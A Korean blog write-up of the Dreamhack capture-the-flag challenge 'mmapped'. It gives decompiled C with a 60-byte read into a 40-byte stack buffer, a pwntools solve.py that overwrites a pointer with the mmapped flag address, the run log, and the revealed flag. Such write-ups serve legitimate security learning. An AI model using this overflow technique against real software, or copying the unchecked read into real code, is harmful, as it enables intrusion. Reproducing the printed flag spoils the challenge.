콘텐츠로 건너뛰기

mmapped

문제 설명

Description

프로그램의 취약점을 찾고 익스플로잇하여 플래그를 출력하세요.
플래그는 ./flag 파일에 위치합니다.
플래그의 형식은 DH{…} 입니다.

checksec

seo@seo-virtual-machine:~/Desktop/mmapped$ checksec ./chall
[*] '/home/seo/Desktop/mmapped/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

chall.c (Decompiled-src)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+10h] [rbp-40h] BYREF
  void *addr; // [rsp+38h] [rbp-18h]
  void *v6; // [rsp+40h] [rbp-10h]
  int v7; // [rsp+48h] [rbp-8h]
  int fd; // [rsp+4Ch] [rbp-4h]

  initialize(argc, argv, envp);
  fd = open("./flag", 0);
  v7 = 69;
  v6 = "DH{****************************************************************}";
  printf("fake flag address: %p\n", "DH{****************************************************************}");
  printf("buf address: %p\n", buf);
  addr = mmap(0LL, 0x45uLL, 1, 2, fd, 0LL);     // 
                                                // len: 0x45(=69), 
                                                // prot: PROT_READ(=1)
                                                // flags: MAP_PRIVATE(=2)
  printf("real flag address (mmapped address): %p\n", addr);
  printf("%s", "input: ");
  read(0, buf, 60uLL);
  mprotect(addr, v7, 0);
  write(1, v6, 0x45uLL);
  printf("\nbuf value: ");
  puts(buf);
  munmap(addr, 0x45uLL);
  close(fd);
  return 0;
}

./flag 파일을 열고 mmap해서 들어간 파일 내용이 addr 주소에 저장된다.

입력받은 buf는 60바이트만큼 read할 수 있는데,
실제로 선언된 buf 크기는 40바이트여서 버퍼오버플로우가 발생한다.
이러한 점을 이용해 write할때 v6를 컨트롤해서 flag를 가리키는 주소로 덮어쓰게 만들면 된다.
그러면 flag를 획득할 수 있다.

Stack

=================
RET
=================
RBP
=================
fd <- rbp – 0x4
=================
v7 <- rbp – 0x8
=================
*v6 <- rbp – 0x10
=================
*addr <- rbp – 0x18
=================
buf[40] <- rbp – 0x40
=================

Solution

buf에서 v6까지의 거리가 48(0x40 – 0x10 = 0x30)이므로,
그 만큼 더미로 채우고
그 뒤에 real flag address (mmapped address):에서 출력되는 flag를 가리키는 주소로 페이로드를 완성하면 된다.

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64',os='linux')
warnings.filterwarnings('ignore')

p = remote('host3.dreamhack.games', 17517)

real_flag_address = p.recvuntil("input: ")
real_flag_address = real_flag_address.split(b"real flag address (mmapped address): ")[1]
real_flag_address = real_flag_address.split(b"\n")[0]
real_flag_address = int(real_flag_address, 16)
print("real_flag_address: " + hex(real_flag_address))

payload = b"A"*48 + p64(real_flag_address)
p.sendline(payload)

p.interactive()

Result

seo@seo-virtual-machine:~/Desktop/mmapped$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 17517: Done
real_flag_address: 0x7f60916ed000
[*] Switching to interactive mode
DH{12f5866c0bb4d3bc1769d0c9869af2dd39673616da53c2b4b93b8e4ba3886bbd}\x00
buf value: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 17517

FLAG

DH{12f5866c0bb4d3bc1769d0c9869af2dd39673616da53c2b4b93b8e4ba3886bbd}

태그:

답글 남기기